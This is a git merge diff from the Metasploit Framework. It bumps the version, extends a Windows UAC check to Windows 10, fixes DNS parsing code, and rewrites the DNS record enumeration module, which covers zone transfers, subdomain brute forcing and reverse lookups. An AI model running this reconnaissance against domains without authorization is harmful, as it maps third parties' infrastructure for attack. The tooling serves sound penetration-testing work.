Merge remote-tracking branch 'refs/remotes/rapid7/master'
commit
ce5be22215
|
@ -1,7 +1,7 @@
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.11.21)
|
||||
metasploit-framework (4.11.22)
|
||||
actionpack (>= 4.0.9, < 4.1.0)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
|
|
|
@ -30,7 +30,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
VERSION = "4.11.21"
|
||||
VERSION = "4.11.22"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
|
|
@ -90,7 +90,7 @@ module Msf::Post::Windows::Priv
|
|||
uac = false
|
||||
winversion = session.sys.config.sysinfo['OS']
|
||||
|
||||
if winversion =~ /Windows (Vista|7|8|2008|2012)/
|
||||
if winversion =~ /Windows (Vista|7|8|2008|2012|10)/
|
||||
unless is_system?
|
||||
begin
|
||||
enable_lua = registry_getvaldata(
|
||||
|
|
|
@ -1031,8 +1031,9 @@ module Net # :nodoc:
|
|||
@logger.info "Received #{ans[0].size} bytes from #{ans[1][2]+":"+ans[1][1].to_s}"
|
||||
|
||||
begin
|
||||
response = Net::DNS::Packet.parse(ans[0],ans[1])
|
||||
if response && response.answer && response.answer[0] && response.answer[0].type == "SOA"
|
||||
return unless (response = Net::DNS::Packet.parse(ans[0],ans[1]))
|
||||
return if response.answer.empty?
|
||||
if response.answer[0].type == "SOA"
|
||||
soa += 1
|
||||
if soa >= 2
|
||||
break
|
||||
|
@ -1214,6 +1215,7 @@ module Net # :nodoc:
|
|||
end
|
||||
if block_given?
|
||||
yield [buffer,["",@config[:port],ns.to_s,ns.to_s]]
|
||||
break
|
||||
else
|
||||
return [buffer,["",@config[:port],ns.to_s,ns.to_s]]
|
||||
end
|
||||
|
|
|
@ -8,7 +8,7 @@ require 'net/dns/rr/types'
|
|||
require 'net/dns/rr/classes'
|
||||
|
||||
|
||||
%w[a ns mx cname txt soa ptr aaaa mr srv].each do |file|
|
||||
%w[a ns mx cname txt hinfo soa ptr aaaa mr srv].each do |file|
|
||||
require "net/dns/rr/#{file}"
|
||||
end
|
||||
|
||||
|
|
|
@ -62,7 +62,7 @@ module Net
|
|||
len = data.unpack("@#{offset} C")[0]
|
||||
@cpu = data[offset+1..offset+1+len]
|
||||
offset += len+1
|
||||
len = @data.unpack("@#{offset} C")[0]
|
||||
len = data.unpack("@#{offset} C")[0]
|
||||
@os = data[offset+1..offset+1+len]
|
||||
return offset += len+1
|
||||
end
|
||||
|
|
|
@ -88,7 +88,7 @@ module Rex
|
|||
def report_web_host_info
|
||||
return unless @state[:host]
|
||||
address = Rex::Socket.resolv_to_dotted(@state[:host]) rescue nil
|
||||
host_info = {:workspace => @args[:wspace]}
|
||||
host_info = {workspace: @args[:wspace]}
|
||||
host_info[:address] = address
|
||||
host_info[:name] = @state[:host]
|
||||
db_report(:host, host_info)
|
||||
|
@ -99,7 +99,7 @@ module Rex
|
|||
return unless @state[:port]
|
||||
return unless @state[:proto]
|
||||
return unless @state[:service_name]
|
||||
service_info = {}
|
||||
service_info = {workspace: @args[:wspace]}
|
||||
service_info[:host] = @state[:host]
|
||||
service_info[:port] = @state[:port]
|
||||
service_info[:proto] = @state[:proto]
|
||||
|
@ -112,7 +112,7 @@ module Rex
|
|||
return unless @state[:vuln_name]
|
||||
return unless @state[:issue_detail]
|
||||
return unless @state[:refs]
|
||||
vuln_info = {}
|
||||
vuln_info = {workspace: @args[:wspace]}
|
||||
vuln_info[:service_id] = @state[:service_object].id
|
||||
vuln_info[:host] = @state[:host]
|
||||
vuln_info[:name] = @state[:vuln_name]
|
||||
|
|
|
@ -134,6 +134,7 @@ module Parser
|
|||
vuln_info[:info] = @state[:vuln_desc]
|
||||
vuln_info[:port] = @state[:port]
|
||||
vuln_info[:proto] = @state[:proto]
|
||||
vuln_info[:workspace] = @args[:wspace]
|
||||
|
||||
db_report(:vuln, vuln_info)
|
||||
end
|
||||
|
@ -147,6 +148,7 @@ module Parser
|
|||
vuln_info[:info] = @state[:vuln_desc]
|
||||
vuln_info[:port] = @state[:port]
|
||||
vuln_info[:proto] = @state[:proto]
|
||||
vuln_info[:workspace] = @args[:wspace]
|
||||
|
||||
db_report(:vuln, vuln_info)
|
||||
end
|
||||
|
@ -159,11 +161,13 @@ module Parser
|
|||
service_info[:name] = @state[:name]
|
||||
service_info[:port] = @state[:port]
|
||||
service_info[:proto] = @state[:proto]
|
||||
service_info[:workspace] = @args[:wspace]
|
||||
|
||||
db_report(:service, service_info)
|
||||
|
||||
host_info = {}
|
||||
host_info[:host] = @state[:host]
|
||||
host_info[:workspace] = @args[:wspace]
|
||||
|
||||
db_report(:host, host_info)
|
||||
end
|
||||
|
|
|
@ -1,483 +1,425 @@
|
|||
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require "net/dns/resolver"
|
||||
require 'net/dns/resolver'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'DNS Record Scanner and Enumerator ',
|
||||
'Description' => %q{
|
||||
'Name' => 'DNS Record Scanner and Enumerator',
|
||||
'Description' => %q(
|
||||
This module can be used to gather information about a domain from a
|
||||
given DNS server by performing various DNS queries such as zone
|
||||
transfers, reverse lookups, SRV record bruteforcing, and other techniques.
|
||||
|
||||
},
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '1999-0532'],
|
||||
['OSVDB', '492'],
|
||||
]
|
||||
))
|
||||
),
|
||||
'Author' => [
|
||||
'Carlos Perez <carlos_perez[at]darkoperator.com>',
|
||||
'Nixawk'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '1999-0532'],
|
||||
['OSVDB', '492']
|
||||
]))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('DOMAIN', [ true, "The target domain name"]),
|
||||
OptBool.new('ENUM_AXFR', [ true, 'Initiate a zone transfer against each NS record', true]),
|
||||
OptBool.new('ENUM_TLD', [ true, 'Perform a TLD expansion by replacing the TLD with the IANA TLD list', false]),
|
||||
OptBool.new('ENUM_STD', [ true, 'Enumerate standard record types (A,MX,NS,TXT and SOA)', true]),
|
||||
OptBool.new('ENUM_BRT', [ true, 'Brute force subdomains and hostnames via the supplied wordlist', false]),
|
||||
OptBool.new('ENUM_IP6', [ true, 'Brute force hosts with IPv6 AAAA records',false]),
|
||||
OptString.new('DOMAIN', [true, 'The target domain']),
|
||||
OptBool.new('ENUM_AXFR', [true, 'Initiate a zone transfer against each NS record', true]),
|
||||
OptBool.new('ENUM_BRT', [true, 'Brute force subdomains and hostnames via the supplied wordlist', false]),
|
||||
OptBool.new('ENUM_A', [true, 'Enumerate DNS A record', true]),
|
||||
OptBool.new('ENUM_CNAME', [true, 'Enumerate DNS CNAME record', true]),
|
||||
OptBool.new('ENUM_MX', [true, 'Enumerate DNS MX record', true]),
|
||||
OptBool.new('ENUM_NS', [true, 'Enumerate DNS NS record', true]),
|
||||
OptBool.new('ENUM_SOA', [true, 'Enumerate DNS SOA record', true]),
|
||||
OptBool.new('ENUM_TXT', [true, 'Enumerate DNS TXT record', true]),
|
||||
OptBool.new('ENUM_RVL', [ true, 'Reverse lookup a range of IP addresses', false]),
|
||||
OptBool.new('ENUM_SRV', [ true, 'Enumerate the most common SRV records', true]),
|
||||
OptPath.new('WORDLIST', [ false, "Wordlist for domain name bruteforcing", ::File.join(Msf::Config.data_directory, "wordlists", "namelist.txt")]),
|
||||
OptAddress.new('NS', [ false, "Specify the nameserver to use for queries (default is system DNS)" ]),
|
||||
OptBool.new('ENUM_TLD', [true, 'Perform a TLD expansion by replacing the TLD with the IANA TLD list', false]),
|
||||
OptBool.new('ENUM_SRV', [true, 'Enumerate the most common SRV records', true]),
|
||||
OptBool.new('STOP_WLDCRD', [true, 'Stops bruteforce enumeration if wildcard resolution is detected', false]),
|
||||
OptAddress.new('NS', [false, 'Specify the nameserver to use for queries (default is system DNS)']),
|
||||
OptAddressRange.new('IPRANGE', [false, "The target address range or CIDR identifier"]),
|
||||
OptBool.new('STOP_WLDCRD', [ true, 'Stops bruteforce enumeration if wildcard resolution is detected', false])
|
||||
OptInt.new('THREADS', [false, 'Threads for ENUM_BRT', 1]),
|
||||
OptPath.new('WORDLIST', [false, 'Wordlist of subdomains', ::File.join(Msf::Config.data_directory, 'wordlists', 'namelist.txt')])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received", 2]),
|
||||
OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry", 2]),
|
||||
OptBool.new('TCP_DNS', [false, "Run queries over TCP", false]),
|
||||
OptInt.new('TIMEOUT', [false, 'DNS TIMEOUT', 8]),
|
||||
OptInt.new('RETRY', [false, 'Number of times to try to resolve a record if no response is received', 2]),
|
||||
OptInt.new('RETRY_INTERVAL', [false, 'Number of seconds to wait before doing a retry', 2]),
|
||||
OptBool.new('TCP_DNS', [false, 'Run queries over TCP', false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def switchdns(target)
|
||||
if not datastore['NS'].nil?
|
||||
print_status("Using DNS Server: #{datastore['NS']}")
|
||||
@res.nameserver=(datastore['NS'])
|
||||
@nsinuse = datastore['NS']
|
||||
else
|
||||
querysoa = @res.query(target, "SOA")
|
||||
if (querysoa)
|
||||
(querysoa.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr|
|
||||
query1soa = @res.search(rr.mname)
|
||||
if (query1soa and query1soa.answer[0])
|
||||
print_status("Setting DNS Server to #{target} NS: #{query1soa.answer[0].address}")
|
||||
@res.nameserver=(query1soa.answer[0].address)
|
||||
@nsinuse = query1soa.answer[0].address
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def wildcard(target)
|
||||
rendsub = rand(10000).to_s
|
||||
query = @res.query("#{rendsub}.#{target}", "A")
|
||||
if query.answer.length != 0
|
||||
print_status("This domain has wildcards enabled!!")
|
||||
query.answer.each do |rr|
|
||||
print_status("Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME
|
||||
end
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def genrcd(target)
|
||||
print_status("Retrieving general DNS records")
|
||||
query = @res.search(target)
|
||||
if (query)
|
||||
query.answer.each do |rr|
|
||||
next unless rr.class == Net::DNS::RR::A
|
||||
print_status("Domain: #{target} IP address: #{rr.address} Record: A ")
|
||||
report_note(:host => @nsinuse.to_s,
|
||||
:proto => 'udp',
|
||||
:sname => 'dns',
|
||||
:port => 53 ,
|
||||
:type => 'dns.enum',
|
||||
:update => :unique_data,
|
||||
:data => "#{rr.address.to_s},#{target},A")
|
||||
end
|
||||
end
|
||||
query = @res.query(target, "SOA")
|
||||
if (query)
|
||||
(query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr|
|
||||
query1 = @res.search(rr.mname)
|
||||
if (query1)
|
||||
query1.answer.each do |ip|
|
||||
print_status("Start of Authority: #{rr.mname} IP address: #{ip.address} Record: SOA")
|
||||
report_note(:host => @nsinuse.to_s,
|
||||
:proto => 'udp',
|
||||
:sname => 'dns',
|
||||
:port => 53 ,
|
||||
:type => 'dns.enum',
|
||||
:update => :unique_data,
|
||||
:data => "#{ip.address.to_s},#{rr.mname},SOA")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
query = @res.query(target, "NS")
|
||||
if (query)
|
||||
(query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr|
|
||||
query1 = @res.search(rr.nsdname)
|
||||
if (query1)
|
||||
query1.answer.each do |ip|
|
||||
next unless ip.class == Net::DNS::RR::A
|
||||
print_status("Name Server: #{rr.nsdname} IP address: #{ip.address} Record: NS")
|
||||
report_note(:host => @nsinuse.to_s,
|
||||
:proto => 'udp',
|
||||
:sname => 'dns',
|
||||
:port => 53 ,
|
||||
:type => 'dns.enum',
|
||||
:update => :unique_data,
|
||||
:data => "#{ip.address.to_s},#{rr.nsdname},NS")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
query = @res.query(target, "MX")
|
||||
if (query)
|
||||
(query.answer.select { |i| i.class == Net::DNS::RR::MX}).each do |rr|
|
||||
print_status("Name: #{rr.exchange} Preference: #{rr.preference} Record: MX")
|
||||
report_note(:host => @nsinuse.to_s,
|
||||
:proto => 'udp',
|
||||
:sname => 'dns',
|
||||
:port => 53 ,
|
||||
:type => 'dns.enum',
|
||||
:update => :unique_data,
|
||||
:data => "#{rr.exchange},MX")
|
||||
end
|
||||
end
|
||||
query = @res.query(target, "TXT")
|
||||
if (query)
|
||||
query.answer.each do |rr|
|
||||
print_status(rr.inspect)
|
||||
print_status("Text: #{rr.inspect}")
|
||||
report_note(:host => @nsinuse.to_s,
|
||||
:proto => 'udp',
|
||||
:sname => 'dns',
|
||||
:port => 53 ,
|
||||
:type => 'dns.enum',
|
||||
:update => :unique_data,
|
||||
:data => rr.inspect)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def tldexpnd(targetdom,nssrv)
|
||||
target = targetdom.scan(/(\S*)[.]\w*\z/).join
|
||||
target.chomp!
|
||||
if not nssrv.nil?
|
||||
@res.nameserver=(nssrv)
|
||||
@nsinuse = nssrv
|
||||
end
|
||||
i, a = 0, []
|
||||
tlds = [
|
||||
"com", "org", "net", "edu", "mil", "gov", "uk", "af", "al", "dz",
|
||||
"as", "ad", "ao", "ai", "aq", "ag", "ar", "am", "aw", "ac", "au",
|
||||
"at", "az", "bs", "bh", "bd", "bb", "by", "be", "bz", "bj", "bm",
|
||||
"bt", "bo", "ba", "bw", "bv", "br", "io", "bn", "bg", "bf", "bi",
|
||||
"kh", "cm", "ca", "cv", "ky", "cf", "td", "cl", "cn", "cx", "cc",
|
||||
"co", "km", "cd", "cg", "ck", "cr", "ci", "hr", "cu", "cy", "cz",
|
||||
"dk", "dj", "dm", "do", "tp", "ec", "eg", "sv", "gq", "er", "ee",
|
||||
"et", "fk", "fo", "fj", "fi", "fr", "gf", "pf", "tf", "ga", "gm",
|
||||
"ge", "de", "gh", "gi", "gr", "gl", "gd", "gp", "gu", "gt", "gg",
|
||||
"gn", "gw", "gy", "ht", "hm", "va", "hn", "hk", "hu", "is", "in",
|
||||
"id", "ir", "iq", "ie", "im", "il", "it", "jm", "jp", "je", "jo",
|
||||
"kz", "ke", "ki", "kp", "kr", "kw", "kg", "la", "lv", "lb", "ls",
|
||||
"lr", "ly", "li", "lt", "lu", "mo", "mk", "mg", "mw", "my", "mv",
|
||||
"ml", "mt", "mh", "mq", "mr", "mu", "yt", "mx", "fm", "md", "mc",
|
||||
"mn", "ms", "ma", "mz", "mm", "na", "nr", "np", "nl", "an", "nc",
|
||||
"nz", "ni", "ne", "ng", "nu", "nf", "mp", "no", "om", "pk", "pw",
|
||||
"pa", "pg", "py", "pe", "ph", "pn", "pl", "pt", "pr", "qa", "re",
|
||||
"ro", "ru", "rw", "kn", "lc", "vc", "ws", "sm", "st", "sa", "sn",
|
||||
"sc", "sl", "sg", "sk", "si", "sb", "so", "za", "gz", "es", "lk",
|
||||
"sh", "pm", "sd", "sr", "sj", "sz", "se", "ch", "sy", "tw", "tj",
|
||||
"tz", "th", "tg", "tk", "to", "tt", "tn", "tr", "tm", "tc", "tv",
|
||||
"ug", "ua", "ae", "gb", "us", "um", "uy", "uz", "vu", "ve", "vn",
|
||||
"vg", "vi", "wf", "eh", "ye", "yu", "za", "zr", "zm", "zw", "int",
|
||||
"gs", "info", "biz", "su", "name", "coop", "aero" ]
|
||||
print_status("Performing Top Level Domain expansion using #{tlds.size} TLDs")
|
||||
|
||||
tlds.each do |tld|
|
||||
query1 = @res.search("#{target}.#{tld}")
|
||||
if (query1)
|
||||
query1.answer.each do |rr|
|
||||
print_status("Domain: #{target}.#{tld} Name: #{rr.name} IP address: #{rr.address} Record: A ") if rr.class == Net::DNS::RR::A
|
||||
report_note(:host => @nsinuse.to_s,
|
||||
:proto => 'udp',
|
||||
:sname => 'dns',
|
||||
:port => 53,
|
||||
:type => 'dns.enum',
|
||||
:update => :unique_data,
|
||||
:data => "#{rr.address.to_s},#{target}.#{tld},A") if rr.class == Net::DNS::RR::A
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def dnsbrute(target, wordlist, nssrv)
|
||||
print_status("Running bruteforce against domain #{target}")
|
||||
arr = []
|
||||
i, a = 0, []
|
||||
::File.open(wordlist, "rb").each_line do |line|
|
||||
if not nssrv.nil?
|
||||
@res.nameserver=(nssrv)
|
||||
@nsinuse = nssrv
|
||||
end
|
||||
query1 = @res.search("#{line.chomp}.#{target}")
|
||||
if (query1)
|
||||
query1.answer.each do |rr|
|
||||
if rr.class == Net::DNS::RR::A
|
||||
print_status("Hostname: #{line.chomp}.#{target} IP address: #{rr.address.to_s}")
|
||||
report_note(:host => @nsinuse.to_s,
|
||||
:proto => 'udp',
|
||||
:sname => 'dns',
|
||||
:port => 53 ,
|
||||
:type => 'dns.enum',
|
||||
:update => :unique_data,
|
||||
:data => "#{rr.address.to_s},#{line.chomp}.#{target},A")
|
||||
next unless rr.class == Net::DNS::RR::CNAME
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def bruteipv6(target, wordlist, nssrv)
|
||||
print_status("Bruteforcing IPv6 addresses against domain #{target}")
|
||||
arr = []
|
||||
i, a = 0, []
|
||||
arr = IO.readlines(wordlist)
|
||||
if not nssrv.nil?
|
||||
@res.nameserver=(nssrv)
|
||||
@nsinuse = nssrv
|
||||
end
|
||||
arr.each do |line|
|
||||
query1 = @res.search("#{line.chomp}.#{target}", "AAAA")
|
||||
if (query1)
|
||||
query1.answer.each do |rr|
|
||||
if rr.class == Net::DNS::RR::AAAA
|
||||
print_status("Hostname: #{line.chomp}.#{target} IPv6 Address: #{rr.address.to_s}")
|
||||
report_note(:host => @nsinuse.to_s,
|
||||
:proto => 'udp',
|
||||
:sname => 'dns',
|
||||
:port => 53 ,
|
||||
:type => 'dns.enum',
|
||||
:update => :unique_data,
|
||||
:data => "#{rr.address.to_s},#{line.chomp}.#{target},AAAA")
|
||||
next unless rr.class == Net::DNS::RR::CNAME
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def reverselkp(iprange,nssrv)
|
||||
print_status("Running reverse lookup against IP range #{iprange}")
|
||||
if not nssrv.nil?
|
||||
@res.nameserver = (nssrv)
|
||||
@nsinuse = nssrv
|
||||
end
|
||||
ar = Rex::Socket::RangeWalker.new(iprange)
|
||||
tl = []
|
||||
while (true)
|
||||
# Spawn threads for each host
|
||||
while (tl.length < @threadnum)
|
||||
ip = ar.next_ip
|
||||
break if not ip
|
||||
tl << framework.threads.spawn("Module(#{self.refname})-#{ip}", false, ip.dup) do |tip|
|
||||
begin
|
||||
query = @res.query(tip)
|
||||
raise ::Rex::ConnectionError
|
||||
query.each_ptr do |addresstp|
|
||||
print_status("Hostname: #{addresstp} IP address: #{tip.to_s}")
|
||||
report_note(:host => @nsinuse.to_s,
|
||||
:proto => 'udp',
|
||||
:sname => 'dns',
|
||||
:port => 53 ,
|
||||
:type => 'dns.enum',
|
||||
:update => :unique_data,
|
||||
:data => "#{addresstp},#{tip},A")
|
||||
end
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::ConnectionError
|
||||
rescue ::Exception => e
|
||||
print_error("Error: #{tip}: #{e.message}")
|
||||
elog("Error running against host #{tip}: #{e.message}\n#{e.backtrace.join("\n")}")
|
||||
end
|
||||
end
|
||||
end
|
||||
# Exit once we run out of hosts
|
||||
if(tl.length == 0)
|
||||
break
|
||||
end
|
||||
tl.first.join
|
||||
tl.delete_if { |t| not t.alive? }
|
||||
end
|
||||
end
|
||||
|
||||
# SRV Record Enumeration
|
||||
def srvqry(dom,nssrv)
|
||||
print_status("Enumerating SRV records for #{dom}")
|
||||
i, a = 0, []
|
||||
# Most common SRV Records
|
||||
srvrcd = [
|
||||
"_gc._tcp.","_kerberos._tcp.", "_kerberos._udp.","_ldap._tcp.","_test._tcp.",
|
||||
"_sips._tcp.","_sip._udp.","_sip._tcp.","_aix._tcp.","_aix._tcp.","_finger._tcp.",
|
||||
"_ftp._tcp.","_http._tcp.","_nntp._tcp.","_telnet._tcp.","_whois._tcp.","_h323cs._tcp.",
|
||||
"_h323cs._udp.","_h323be._tcp.","_h323be._udp.","_h323ls._tcp.","_h323ls._udp.",
|
||||
"_sipinternal._tcp.","_sipinternaltls._tcp.","_sip._tls.","_sipfederationtls._tcp.",
|
||||
"_jabber._tcp.","_xmpp-server._tcp.","_xmpp-client._tcp.","_imap._tcp.","_certificates._tcp.",
|
||||
"_crls._tcp.","_pgpkeys._tcp.","_pgprevokations._tcp.","_cmp._tcp.","_svcp._tcp.","_crl._tcp.",
|
||||
"_ocsp._tcp.","_PKIXREP._tcp.","_smtp._tcp.","_hkp._tcp.","_hkps._tcp.","_jabber._udp.",
|
||||
"_xmpp-server._udp.","_xmpp-client._udp.","_jabber-client._tcp.","_jabber-client._udp."]
|
||||
srvrcd.each do |srvt|
|
||||
trg = "#{srvt}#{dom}"
|
||||
query = @res.query(trg , Net::DNS::SRV)
|
||||
next unless query
|
||||
query.answer.each do |srv|
|
||||
next if srv.type == "CNAME"
|
||||
print_status("SRV Record: #{trg} Host: #{srv.host} Port: #{srv.port} Priority: #{srv.priority}")
|
||||
end
|
||||
end
|
||||
print_status("Done")
|
||||
end
|
||||
|
||||
# For Performing Zone Transfers
|
||||
def axfr(target, nssrv)
|
||||
print_status("Performing zone transfer against all nameservers in #{target}")
|
||||
if not nssrv.nil?
|
||||
@res.nameserver=(nssrv)
|
||||
@nsinuse = nssrv
|
||||
end
|
||||
@res.tcp_timeout=15
|
||||
query = @res.query(target, "NS")
|
||||
if query && query.answer.length != 0
|
||||
(query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |nsrcd|
|
||||
print_status("Testing nameserver: #{nsrcd.nsdname}")
|
||||
nssrvquery = @res.query(nsrcd.nsdname, "A")
|
||||
if nssrvquery.answer.length == 0
|
||||
nssrvip = Rex::Socket.gethostbyname(nsrcd.nsdname)[3].bytes.reduce {|a,b| [a,b].join(".")}
|
||||
else
|
||||
nssrvip = nssrvquery.answer[0].address.to_s
|
||||
end
|
||||
begin
|
||||
@res.nameserver=(nssrvip)
|
||||
@nsinuse = nssrvip
|
||||
zone = []
|
||||
|
||||
begin
|
||||
zone = @res.axfr(target)
|
||||
rescue ::NoResponseError
|
||||
end
|
||||
|
||||
if zone.length != 0
|
||||
print_status("Zone transfer successful")
|
||||
report_note(:host => nssrvip,
|
||||
:proto => 'udp',
|
||||
:sname => 'dns',
|
||||
:port => 53 ,
|
||||
:type => 'dns.enum',
|
||||
:update => :unique_data,
|
||||
:data => zone)
|
||||
# Prints each record according to its type
|
||||
zone.each do |response|
|
||||
response.answer.each do |rr|
|
||||
begin
|
||||
case rr.type
|
||||
when "A"
|
||||
print_status("Name: #{rr.name} IP address: #{rr.address} Record: A ")
|
||||
when "SOA"
|
||||
print_status("Name: #{rr.mname} Record: SOA")
|
||||
when "MX"
|
||||
print_status("Name: #{rr.exchange} Preference: #{rr.preference} Record: MX")
|
||||
when "CNAME"
|
||||
print_status("Name: #{rr.cname} Record: CNAME")
|
||||
when "HINFO"
|
||||
print_status("CPU: #{rr.cpu} OS: #{rr.os} Record: HINFO")
|
||||
when "AAAA"
|
||||
print_status("IPv6 Address: #{rr.address} Record: AAAA")
|
||||
when "NS"
|
||||
print_status("Name: #{rr.nsdname} Record: NS")
|
||||
when "TXT"
|
||||
print_status("Text: #{rr.inspect}")
|
||||
when "SRV"
|
||||
print_status("Host: #{rr.host} Port: #{rr.port} Priority: #{rr.priority} Record: SRV")
|
||||
end
|
||||
rescue ActiveRecord::RecordInvalid
|
||||
# Do nothing. Probably tried to store :host => 127.0.0.1
|
||||
end
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("Zone transfer failed (length was zero)")
|
||||
end
|
||||
rescue Exception => e
|
||||
print_error("Error executing zone transfer: #{e.message}")
|
||||
elog("Error executing zone transfer: #{e.message}\n#{e.backtrace.join("\n")}")
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
print_error("Could not resolve domain #{target}")
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
@res = Net::DNS::Resolver.new()
|
||||
if datastore['TCP_DNS']
|
||||
vprint_status("Using DNS/TCP")
|
||||
@res.use_tcp = true
|
||||
end
|
||||
@res.retry = datastore['RETRY'].to_i
|
||||
@res.retry_interval = datastore['RETRY_INTERVAL'].to_i
|
||||
@threadnum = datastore['THREADS'].to_i
|
||||
wldcrd = wildcard(datastore['DOMAIN'])
|
||||
switchdns(datastore['DOMAIN'])
|
||||
domain = datastore['DOMAIN']
|
||||
is_wildcard = dns_wildcard_enabled?(domain)
|
||||
|
||||
if(datastore['ENUM_STD'])
|
||||
genrcd(datastore['DOMAIN'])
|
||||
end
|
||||
axfr(domain) if datastore['ENUM_AXFR']
|
||||
get_a(domain) if datastore['ENUM_A']
|
||||
get_cname(domain) if datastore['ENUM_CNAME']
|
||||
get_ns(domain) if datastore['ENUM_NS']
|
||||
get_mx(domain) if datastore['ENUM_MX']
|
||||
get_soa(domain) if datastore['ENUM_SOA']
|
||||
get_txt(domain) if datastore['ENUM_TXT']
|
||||
get_tld(domain) if datastore['ENUM_TLD']
|
||||
get_srv(domain) if datastore['ENUM_SRV']
|
||||
threads = datastore['THREADS']
|
||||
dns_reverse(datastore['IPRANGE'], threads) if datastore['ENUM_RVL']
|
||||
|
||||
if(datastore['ENUM_TLD'])
|
||||
tldexpnd(datastore['DOMAIN'],datastore['NS'])
|
||||
return unless datastore['ENUM_BRT']
|
||||
if is_wildcard
|
||||
dns_bruteforce(domain, threads) unless datastore['STOP_WLDCRD']
|
||||
else
|
||||
dns_bruteforce(domain, threads)
|
||||
end
|
||||
end
|
||||
|
||||
if(datastore['ENUM_BRT'])
|
||||
if wldcrd and datastore['STOP_WLDCRD']
|
||||
print_error("Wildcard record found!")
|
||||
def dns_query(domain, type)
|
||||
begin
|
||||
nameserver = datastore['NS']
|
||||
if nameserver.blank?
|
||||
dns = Net::DNS::Resolver.new
|
||||
else
|
||||
dnsbrute(datastore['DOMAIN'],datastore['WORDLIST'],datastore['NS'])
|
||||
dns = Net::DNS::Resolver.new(nameservers: ::Rex::Socket.resolv_to_dotted(nameserver))
|
||||
end
|
||||
dns.use_tcp = datastore['TCP_DNS']
|
||||
dns.udp_timeout = datastore['TIMEOUT']
|
||||
dns.retry_number = datastore['RETRY']
|
||||
dns.retry_interval = datastore['RETRY_INTERVAL']
|
||||
dns.query(domain, type)
|
||||
rescue ResolverArgumentError, Errno::ETIMEDOUT, ::NoResponseError, ::Timeout::Error => e
|
||||
print_error("Query #{domain} DNS #{type} - exception: #{e}")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def dns_bruteforce(domain, threads)
|
||||
wordlist = datastore['WORDLIST']
|
||||
return if wordlist.blank?
|
||||
threads = 1 if threads <= 0
|
||||
|
||||
queue = []
|
||||
File.foreach(wordlist) do |line|
|
||||
queue << "#{line.chomp}.#{domain}"
|
||||
end
|
||||
|
||||
records = []
|
||||
until queue.empty?
|
||||
t = []
|
||||
threads = 1 if threads <= 0
|
||||
|
||||
if queue.length < threads
|
||||
# work around issue where threads not created as the queue isn't large enough
|
||||
threads = queue.length
|
||||
end
|
||||
|
||||
begin
|
||||
1.upto(threads) do
|
||||
t << framework.threads.spawn("Module(#{refname})", false, queue.shift) do |test_current|
|
||||
Thread.current.kill unless test_current
|
||||
a = get_a(test_current, 'DNS bruteforce records')
|
||||
records |= a if a
|
||||
end
|
||||
end
|
||||
t.map(&:join)
|
||||
|
||||
rescue ::Timeout::Error
|
||||
ensure
|
||||
t.each { |x| x.kill rescue nil }
|
||||
end
|
||||
end
|
||||
records
|
||||
end
|
||||
|
||||
if(datastore['ENUM_IP6'])
|
||||
if wldcrd and datastore['STOP_WLDCRD']
|
||||
print_status("Wildcard Record Found!")
|
||||
else
|
||||
bruteipv6(datastore['DOMAIN'],datastore['WORDLIST'],datastore['NS'])
|
||||
def dns_reverse(cidr, threads)
|
||||
iplst = []
|
||||
ipadd = Rex::Socket::RangeWalker.new(cidr)
|
||||
numip = ipadd.num_ips
|
||||
while iplst.length < numip
|
||||
ipa = ipadd.next_ip
|
||||
break unless ipa
|
||||
iplst << ipa
|
||||
end
|
||||
|
||||
records = []
|
||||
while !iplst.nil? && !iplst.empty?
|
||||
t = []
|
||||
threads = 1 if threads <= 0
|
||||
begin
|
||||
1.upto(threads) do
|
||||
t << framework.threads.spawn("Module(#{refname})", false, iplst.shift) do |ip_text|
|
||||
next if ip_text.nil?
|
||||
a = get_ptr(ip_text)
|
||||
records |= a if a
|
||||
end
|
||||
end
|
||||
t.map(&:join)
|
||||
|
||||
rescue ::Timeout::Error
|
||||
ensure
|
||||
t.each { |x| x.kill rescue nil }
|
||||
end
|
||||
end
|
